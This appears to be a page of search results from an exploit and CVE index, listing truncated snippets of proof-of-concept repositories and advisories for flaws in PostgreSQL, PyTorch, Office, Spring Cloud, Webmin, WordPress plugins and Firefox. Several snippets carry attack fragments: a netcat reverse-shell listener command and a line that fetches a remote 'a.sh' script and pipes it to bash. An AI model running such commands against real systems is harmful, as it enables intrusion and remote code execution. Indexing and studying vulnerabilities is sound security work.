1330866 matches found
cve-2026-6471-postgres-logical-decoding-dlopen
PostgreSQL CVE-2026-6471: logical decoding dlopen of an arbitrary library PostgreSQL logical decoding lets a non-superuser role that holds the REPLICATION privilege create a logical replication slot and choose the output plugin. On affected versions there is no authorization check on that choice,...
EXPLOIT-CVE-2024-7804
CVE-2024-7804 — PyTorch Distributed RPC Unsafe Deserialization RCE Self-contained lab + exploit for CVE-2024-7804 : remote code execution in PyTorch's distributed RPC framework torch.distributed.rpc through unsafe deserialization of untrusted data CWE-502. Affected: torch Note: this advisory was...
Exploit-PoC-CVE-2021-40444-inject-ma-doc-vao-docx
CVE-2021-40444 PoC Malicious docx generator to exploit CVE-2021-40444 Microsoft Office Word Remote Code Execution Creation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 docx file You need to...
Pluck-CMS-Stored-XSS---Installation
Pluck CMS 4.7.18 Stored XSS Author: Sergio Description: Multiple Cross-Site Scripting XSS vulnerabilities in installation of PluckCMS v.4.7.18 allows a local attacker to execute arbitrary code via a crafted payload injected into the cont1 and cont2 parameters in the installation process- Website...
CVE-2025-9216
StoreEngine – Powerful WordPress eCommerce Plugin for Payments, Memberships, Affiliates, Sales & More = 1.4.0 - Authenticated Subscriber+ Arbitrary File Upload The StoreEngine plugin contains a vulnerability in it's CSV Import/Export feature that allows any authenticated user subscriber, author,...
RCE-in-Spring-Cloud-CVE-2022-22963
Exploit for RCE in Spring Cloud CVE 2022-22963 Exploit for CVE-2022-22963 remote command execution in Spring Cloud Function See for details about the vulnerability here and here PoC Run the netcat on your host: $ nc -lvnp 9001 Run the exploit example with default port 9001 on attacker host: $...
CVE-2022-37205
CVE-2022-37205 CVE-2022-37205 POC Suggested description RESERVED JFinal CMS 5.1.0 is affected by: SQL Injection. These interfaces do not use the same component, nor do they have filters, but each uses its own SQL concatenation method, resulting in SQL injection. Additional Information...
CLEANSTART-2024-FO44371 Sometimes, when invalidating JIT code while following an iterator, the newly generated code could be overwritten incorrectly
Security vulnerability affects the firefox-esr package. Sometimes, when invalidating JIT code while following an iterator, the newly generated code could be overwritten incorrectly...
CLEANSTART-2024-TI48255 When opening Diagcab files, Firefox did not warn the user that these files may contain malicious code
Security vulnerability affects the firefox-esr package. When opening Diagcab files, Firefox did not warn the user that these files may contain malicious code...
CLEANSTART-2024-TG61239 When opening appref-ms files, Firefox did not warn the user that these files may contain malicious code
Security vulnerability affects the firefox-esr package. When opening appref-ms files, Firefox did not warn the user that these files may contain malicious code...
CVE-2025-1974
CVE-2025-1974 — IngressNightmare ingress-nginx Introduction This document presents a study of the vulnerability CVE-2025-1974 affecting the ingress-nginx component validating admission controller for Kubernetes. CVE-2025-1974 is a critical vulnerability CVSS 3.1 9.8, an unauthenticated Remote Cod...
CVE-2026-76461
cve-id Donate Help maintain this project If you find this project useful, please consider supporting its ongoing maintenance through PayPal or ABA Mobile. ❤️ ១០% នៃការបរិច្ចាគរបស់អ្នក នឹងត្រូវបានបរិច្ចាគជូនមន្ទីរពេទ្យគន្ធបុប្ផា។ ❤️ Ten percent of every donation is contributed to Kantha Bopha...
TeamViewer Vulnerability Lets Attackers Run Code on IT Support Staff’s PCs
A vulnerability in TeamViewer could let attackers run code on an IT support technician’s computer when the technician…...
CVE-2019-12840
CVE-2019-12840 Authenticated RCE in Webmin 1.910 - 'Package Updates' Usage : 1-setup a netcat listener. 2- python3 exploit.py Notes: Provide the url for example: http://:port Please copy 'sid' cookie from your browser and supply it for the exploit to work...
CLEANSTART-2024-DQ85952 If an object prototype was corrupted by an attacker, they would have been able to set undesired attributes on a JavaScript object, leading to privileged code execution
CVE-2022-2200 affects multiple packages. If an object prototype was corrupted by an attacker, they would have been able to set undesired attributes on a JavaScript object, leading to privileged code execution. See references for individual vulnerability details...
CVE-2023-6553
CVE-2023-6553 Exploit Development for CVE-2023-6553 on Backup Plugin in Wordpress This is a critical CVE with a CVSS score of 9.8 The vulnerability allows attacker to send commands to the server running the vulnerable version of the plugin Vulnerable Version Backup :9000/a.sh |bash';?" 3. You wil...
CVE-2023-38408
CVE-2023-38408 Slide and source code for CS-782 attack presentation...
CVE-2025-49113
CVE-2025-49113 Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization...
CVE-2026-116852
The WordPress Widget Options plugin (versions ≤ 4.2.5 ) is vulnerable to Remote Code Execution (RCE) . The vulnerability is associated with CWE-94 (Improper Control of Generation of Code). While the provided documents confirm the existence of the RCE and its CRITICAL severity, specific technical ...
